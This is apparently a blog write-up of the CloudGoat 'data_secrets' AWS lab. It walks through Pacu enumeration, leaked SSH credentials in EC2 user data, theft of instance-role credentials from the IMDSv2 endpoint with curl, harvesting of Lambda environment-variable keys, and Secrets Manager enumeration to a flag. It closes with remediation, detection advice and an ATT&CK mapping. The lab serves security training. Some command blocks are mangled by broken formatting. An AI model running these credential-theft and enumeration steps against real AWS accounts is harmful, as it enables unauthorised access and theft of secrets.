DEV Community

Cover image for ๐Ÿฅท CloudGoat: Data Secrets: Write-up: Exploiting EC2 User Data and IMDS to escalate privileges
denesbeck
denesbeck

Posted on • Originally published at arcade-lab.io

๐Ÿฅท CloudGoat: Data Secrets: Write-up: Exploiting EC2 User Data and IMDS to escalate privileges

๐Ÿฅท CloudGoat: Data Secrets

Write-up: Exploiting EC2 User Data and IMDS to escalate privileges

๐Ÿงญ Overview

Scenario: data_secrets \
Platform: CloudGoat (Rhino Security Labs) \
Tools: Pacu + AWS CLI + SSH \
Objective: Steal credentials through EC2 User Data, leverage IMDS to escalate, enumerate Lambda functions, and retrieve the flag from Secrets Manager.

โš”๏ธ Attack Path Summary

Limited User โ†’ EC2 Enum โ†’ User Data Leak โ†’ SSH Access โ†’ IMDS Token Theft โ†’ Lambda Enum โ†’ DB Credentials โ†’ Secrets Manager โ†’ Flag

๐Ÿ”‘ Phase 1: Initial Access

Configure Profile

aws configure --profile data_secrets
# Access Key: AKIA****************
# Secret Key: dHQo/hANNyGHxSCBhOmN********************
Enter fullscreen mode Exit fullscreen mode

Validate Credentials

aws sts get-caller-identity --profile data_secrets
Enter fullscreen mode Exit fullscreen mode
{
  "UserId": "AIDA****************",
  "Account": "7912********",
  "Arn": "arn:aws:iam::7912********:user/cg-start-user-cgido7xwddyilh"
}
Enter fullscreen mode Exit fullscreen mode

๐Ÿ”Ž Phase 2: IAM Enumeration

Launch Pacu and Import Keys

pacu
Enter fullscreen mode Exit fullscreen mode
Pacu > import_keys data_secrets
Enter fullscreen mode Exit fullscreen mode

Enumerate Permissions

Pacu > run iam__bruteforce_permissions --region us-east-1
Enter fullscreen mode Exit fullscreen mode
[iam__bruteforce_permissions] Enumerated IAM Permissions:
[iam__bruteforce_permissions]   ec2.describe_instances() worked!
[iam__bruteforce_permissions]   ec2.describe_tags() worked!
[iam__bruteforce_permissions]   dynamodb.describe_endpoints() worked!
[iam__bruteforce_permissions]   sts.get_session_token() worked!
[iam__bruteforce_permissions]   sts.get_caller_identity() worked!

[iam__bruteforce_permissions] MODULE SUMMARY:

Num of IAM permissions found: 5
Enter fullscreen mode Exit fullscreen mode

View Confirmed Permissions

Pacu > whoami
Enter fullscreen mode Exit fullscreen mode
{
  "UserName": "cg-start-user-cgido7xwddyilh",
  "Arn": "arn:aws:iam::7912********:user/cg-start-user-cgido7xwddyilh",
  "Permissions": {
    "Allow": [
      "ec2:DescribeTags",
      "ec2:DescribeInstances",
      "sts:GetSessionToken",
      "sts:GetCallerIdentity",
      "dynamodb:DescribeEndpoints"
    ]
  }
}
Enter fullscreen mode Exit fullscreen mode

Key Findings

Service Permissions Note
EC2 DescribeInstances, DescribeTags Can enumerate EC2 instances and metadata
STS GetCallerIdentity, GetSessionToken Can verify identity
DynamoDB DescribeEndpoints Low impact

The ability to describe EC2 instances is the key to exploiting this scenario.

๐Ÿ–ฅ๏ธ Phase 3: EC2 Enumeration and User Data Extraction

Discover EC2 Instances

Pacu > run ec2__enum --region us-east-1
Enter fullscreen mode Exit fullscreen mode
[ec2__enum]   1 instance(s) found.
[ec2__enum]   1 public IP address(es) found and added to text file
Enter fullscreen mode Exit fullscreen mode

Extract Public IP

Pacu saves the IP to: ~/.local/share/pacu/data_secrets/downloads/ec2_public_ips_data_secrets_us-east-1.txt

Public IP: 13.***.***.***

Download User Data

Pacu > help ec2__download_userdata
Pacu > run ec2__download_userdata
Enter fullscreen mode Exit fullscreen mode

Select target region when prompted: us-east-1

View User Data Content

Pacu downloads User Data to: ~/.local/share/pacu/data_secrets/downloads/ec2_user_data/

#!/bin/bash
echo "ec2-user:CloudGoatInstancePassword!" | chpasswd
sed -i 's/PasswordAuthentication no/PasswordAuthentication yes/g' /etc/ssh/sshd_config
service sshd restart
Enter fullscreen mode Exit fullscreen mode

Critical Findings

Artifact Value
EC2 Instance ID i-0827322ea4150fec3
Public IP 13.***.***.***
SSH Username ec2-user
SSH Password CloudGoatInstancePassword!

The User Data script reveals hardcoded SSH credentials, a critical misconfiguration.

๐Ÿ” Phase 4: SSH Access and IMDS Token Theft

Connect to EC2 Instance

ssh ec2-user@13.***.***.***
# Password: CloudGoatInstancePassword!
Enter fullscreen mode Exit fullscreen mode

Get IMDSv2 Token

TOKEN=$(curl -s -X PUT "http://169.254.169.254/latest/api/token" \
  -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
Enter fullscreen mode Exit fullscreen mode

Retrieve IAM Role Name

ROLE_NAME=$(curl -s -H "X-aws-ec2-metadata-token: $TOKEN" \
  http://169.254.169.254/latest/meta-data/iam/security-credentials/)

echo $ROLE_NAME
Enter fullscreen mode Exit fullscreen mode

Output: cg-ec2-role-cgido7xwddyilh

Steal Temporary Credentials

curl -s -H "X-aws-ec2-metadata-token: $TOKEN" \
  http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE_NAME
Enter fullscreen mode Exit fullscreen mode
{
  "Code": "Success",
  "AccessKeyId": "ASIA****************",
  "SecretAccessKey": "f7vFfkcw9iuwNF2mOYPzjw********************",
  "Token": "IQoJb3JpZ2luX2VjEDwaCXVzLWVhc3QtMSJI..."
}
Enter fullscreen mode Exit fullscreen mode

Configure EC2 Role Profile

aws configure --profile ec2_profile
# Access Key: ASIA****************
# Secret Key: f7vFfkcw9iuwNF2mOYPz********************
# Session Token: (paste the full token)
Enter fullscreen mode Exit fullscreen mode

Validate EC2 Role Credentials

aws sts get-caller-identity --profile ec2_profile
Enter fullscreen mode Exit fullscreen mode
{
  "UserId": "AROA3QN6JWS34Z26XSFIZ:i-0827322ea4150fec3",
  "Account": "7912********",
  "Arn": "arn:aws:sts::7912********:assumed-role/cg-ec2-role-cgido7xwddyilh/i-0827322ea4150fec3"
}
Enter fullscreen mode Exit fullscreen mode

Critical Findings

Artifact Value
Temporary Access Key ASIA****************
Temporary Secret Key f7vFfkcw9iuwNF2mOYPzjwe********************
Session Token (Long-lived temporary credential)

Successfully escalated from IAM user to EC2 instance role.

๐Ÿ“Š Phase 5: Enumerate EC2 Role Permissions

Import EC2 Profile to Pacu

pacu
Enter fullscreen mode Exit fullscreen mode
Pacu > import_keys ec2_profile
Pacu > run iam__bruteforce_permissions --region us-east-1
Enter fullscreen mode Exit fullscreen mode
[iam__bruteforce_permissions]   dynamodb.describe_endpoints() worked!
[iam__bruteforce_permissions]   sts.get_caller_identity() worked!
[iam__bruteforce_permissions]   lambda.list_functions() worked!

[iam__bruteforce_permissions] MODULE SUMMARY:

Num of IAM permissions found: 3
Enter fullscreen mode Exit fullscreen mode

View EC2 Role Permissions

Pacu > whoami
Enter fullscreen mode Exit fullscreen mode
{
  "AccessKeyId": "ASIA****************",
  "Permissions": {
    "Allow": [
      "dynamodb:DescribeEndpoints",
      "sts:GetCallerIdentity",
      "lambda:ListFunctions"
    ]
  }
}
Enter fullscreen mode Exit fullscreen mode

Key Finding

The EC2 role can enumerate Lambda functions, potentially exposing sensitive configuration data such as environment variables.

๐Ÿ” Phase 6: Lambda Enumeration and Credential Discovery

List Lambda Functions

Pacu > search lambda
Pacu > help lambda__enum
Pacu > run lambda__enum --region us-east-1
Enter fullscreen mode Exit fullscreen mode
[lambda__enum]   Enumerating data for cg-lambda-function-cgido7xwddyilh
    [+] Secret (ENV): DB_USER_ACCESS_KEY= AKIA****************
    [+] Secret (ENV): DB_USER_SECRET_KEY= zHq6/a2/cotXfMhK2bvv********************
[lambda__enum] 1 functions found in us-east-1
Enter fullscreen mode Exit fullscreen mode

Critical Findings

Environment Variable Value
DB_USER_ACCESS_KEY AKIA****************
DB_USER_SECRET_KEY `zHq6/a2/cotXfMhK2bvv/py********************

The Lambda function's environment variables contain hardcoded AWS credentials for a database user.

๐Ÿ’พ Phase 7: Final Privilege Escalation via Lambda Credentials

Configure Lambda User Profile

`bash
aws configure --profile lambda_profile

Access Key: AKIA****************

Secret Key: zHq6/a2/cotXfMhK2bvv********************

`

Enumerate Lambda User Permissions

bash
pacu

console
Pacu > import_keys lambda_profile
Pacu > run iam__bruteforce_permissions --region us-east-1

`console
[iam_bruteforce_permissions] dynamodb.describe_endpoints() worked!
[iam
bruteforce_permissions] secretsmanager.list_secrets() worked!
[iam
bruteforce_permissions] sts.get_session_token() worked!
[iam
_bruteforce_permissions] sts.get_caller_identity() worked!

[iam__bruteforce_permissions] MODULE SUMMARY:

Num of IAM permissions found: 4
`

View Lambda User Permissions

console
Pacu > whoami

json
{
"UserName": "cg-lambda-user-cgido7xwddyilh",
"Arn": "arn:aws:iam::7912********:user/cg-lambda-user-cgido7xwddyilh",
"Permissions": {
"Allow": [
"dynamodb:DescribeEndpoints",
"sts:GetSessionToken",
"sts:GetCallerIdentity",
"secretsmanager:ListSecrets"
]
}
}

Key Finding

The Lambda user can enumerate Secrets Manager resources, enabling discovery of sensitive stored data.

๐Ÿšฉ Phase 8: Capture the Flag

List Secrets Manager Secrets

console
Pacu > search secret
Pacu > help secrets__enum
Pacu > run secrets__enum --region us-east-1

console
[secrets__enum] Starting region us-east-1...
[secrets__enum] Found secret: cg-final-flag-cgido7xwddyilh
[secrets__enum] 1 Secret(s) were found in AWS secretsmanager

Retrieve the Flag

bash
cat ~/.local/share/pacu/lambda_profile/downloads/secrets/secrets_manager/secrets.txt

json
cg-final-flag-cgido7xwddyilh: {"flag":"d4t4_s3cr3ts_4r3_fun"}

Flag: d4t4_s3cr3ts_4r3_fun

๐Ÿ“ Attack Chain Diagram

plaintext
โ”Œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”
โ”‚ Limited IAM User โ”‚
โ”‚ (data_secrets) โ”‚
โ””โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ฌโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”˜
โ”‚ ec2:DescribeInstances
โ”‚ ec2:DescribeTags
โ–ผ
โ”Œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”
โ”‚ EC2 Instance Found โ”‚
โ”‚ Public IP: 13.*.*.* โ”‚
โ””โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ฌโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”˜
โ”‚ ec2__download_userdata
โ–ผ
โ”Œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”
โ”‚ User Data Leak โ”‚
โ”‚ SSH Credentials โ”‚
โ””โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ฌโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”˜
โ”‚ SSH ec2-user@IP
โ–ผ
โ”Œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”
โ”‚ SSH Access Gained โ”‚
โ”‚ On EC2 Instance โ”‚
โ””โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ฌโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”˜
โ”‚ IMDS Token (IMDSv2)
โ”‚ /latest/meta-data/iam/
โ”‚ security-credentials/
โ–ผ
โ”Œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”
โ”‚ EC2 Role Creds โ”‚
โ”‚ Temporary Session โ”‚
โ””โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ฌโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”˜
โ”‚ lambda:ListFunctions
โ–ผ
โ”Œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”
โ”‚ Lambda Functions โ”‚
โ”‚ Environment Vars โ”‚
โ””โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ฌโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”˜
โ”‚
โ–ผ
โ”Œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”
โ”‚ DB User Credentials โ”‚
โ”‚ Hidden in Lambda โ”‚
โ””โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ฌโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”˜
โ”‚ secretsmanager:ListSecrets
โ–ผ
โ”Œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”
โ”‚ Secrets Manager โ”‚
โ”‚ Final Flag Found โ”‚
โ””โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ฌโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”˜
โ”‚
โ–ผ
โ”Œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”
โ”‚ FLAG โ”‚
โ”‚ d4t4_s3cr3ts_4r3_fun โ”‚
โ””โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”˜

๐Ÿšจ Vulnerabilities Exploited

# Vulnerability CWE CVSS
1 Hardcoded SSH credentials in EC2 User Data CWE-798 9.8
2 Improper Privilege Management CWE-269 7.5
3 Hardcoded AWS credentials in Lambda environment variables CWE-798 9.8
4 Overly permissive IAM role on EC2 instance CWE-732 8.2
5 Insufficient access controls on Secrets Manager CWE-732 7.1

๐Ÿงฉ Architectural Failures

  • Trusting User Data with secrets
  • Treating Lambda environment variables as secure storage
  • Allowing credential sprawl between services
  • Over-permissioned instance role
  • No separation between compute identity and data access

๐Ÿ’ก Remediation

  1. Never store secrets in EC2 User Data

    • Use AWS Systems Manager Session Manager for remote access
    • If SSH is required, use EC2 Instance Connect or Systems Manager Session Manager
    • Use key pairs instead of hardcoded passwords
  2. Disable or restrict IMDSv1
    `bash

    Force IMDSv2 only for new instances

    aws ec2 run-instances \
    --metadata-options "HttpTokens=required,HttpPutResponseHopLimit=1"
    `

  3. Never store AWS credentials in environment variables

    • Use IAM roles attached to resources
    • Use AWS Secrets Manager for application secrets
    • Use Parameter Store for configuration
  4. Implement least privilege for IAM roles
    json
    {
    "Version": "2012-10-17",
    "Statement": [
    {
    "Effect": "Allow",
    "Action": "lambda:GetFunction",
    "Resource": "arn:aws:lambda:*:*:function/specific-function"
    }
    ]
    }

  5. Monitor and alert on suspicious activities

    • Enable CloudTrail logging for all API calls
    • Monitor CloudTrail for anomalous role assumption patterns or unusual Secrets Manager access originating from EC2 roles.
    • Monitor for unusual EC2 access patterns
  6. Enable encryption for secrets at rest and in transit

    • Use KMS encryption for Secrets Manager
    • Enforce TLS for all API communications
    • Enable encryption for EC2 volumes

๐Ÿ”Ž Detection & Monitoring Opportunities

  • CloudTrail Monitoring

    • DescribeInstances from low-privileged IAM users
    • ListFunctions from EC2 instance roles -ListSecrets and GetSecretValue from unexpected principals
  • GuardDuty Alerts

    • Instance credential exfiltration behavior
    • Unusual role assumption patterns
  • IAM Access Analyzer

    • Detect over-permissioned roles
    • Identify unused permissions
  • VPC Flow Logs

    • Monitor access to 169.254.169.254 (metadata endpoint)

๐ŸŽฏ MITRE ATT&CK Mapping

Tactic Technique ID
Initial Access Valid Accounts: Cloud Accounts T1078.004
Discovery Cloud Service Discovery T1526
Credential Access Unsecured Credentials: Credentials in Files / Environment Variables T1552.001
Credential Access Cloud Instance Metadata API T1552.005
Lateral Movement Use Alternate Authentication Material: Cloud Credentials T1550.001
Privilege Escalation Valid Accounts: Cloud Accounts T1078.004

๐Ÿ› ๏ธ Commands Reference

AWS CLI

`bash

Initial enumeration

aws configure --profile data_secrets
aws sts get-caller-identity --profile data_secrets

EC2 enumeration

aws ec2 describe-instances --profile data_secrets --region us-east-1
aws ec2 describe-tags --profile data_secrets --region us-east-1

Configure additional profiles

aws configure --profile ec2_profile
aws configure --profile lambda_profile

Validate credentials

aws sts get-caller-identity --profile ec2_profile
aws sts get-caller-identity --profile lambda_profile
`

SSH and IMDS

`bash

SSH access

ssh ec2-user@

IMDSv2 token (within EC2 instance)

TOKEN=$(curl -s -X PUT "http://169.254.169.254/latest/api/token" \
-H "X-aws-ec2-metadata-token-ttl-seconds: 21600")

Get IAM role name

curl -s -H "X-aws-ec2-metadata-token: $TOKEN" \
http://169.254.169.254/latest/meta-data/iam/security-credentials/

Get temporary credentials

curl -s -H "X-aws-ec2-metadata-token: $TOKEN" \
http://169.254.169.254/latest/meta-data/iam/security-credentials/
`

Pacu Commands

`bash

Session and key management

import_keys
whoami
swap_session

Enumeration

run iam_bruteforce_permissions --region us-east-1
run ec2
enum --region us-east-1
run ec2
download_userdata
run lambda
enum --region us-east-1
run secrets
_enum --region us-east-1
`

๐Ÿ“š Additional Resources

๐ŸŽ“ Key Takeaways

  1. Defense in Depth: Multiple misconfigurations were chained together to achieve full compromise
  2. Credential Leakage: Secrets stored in plain text (User Data, environment variables) are easily discovered
  3. IMDS Exposure Risk: Instance role credentials are accessible from within the host by design; therefore, any host compromise effectively becomes a role compromise, underscoring the need for strict least-privilege policies on instance roles.
  4. Role Enumeration: Discovering attached roles and their permissions reveals the attack surface
  5. Lateral Movement: Each compromised credential opens new exploitation paths

You can also read this post on my portfolio page.

Top comments (0)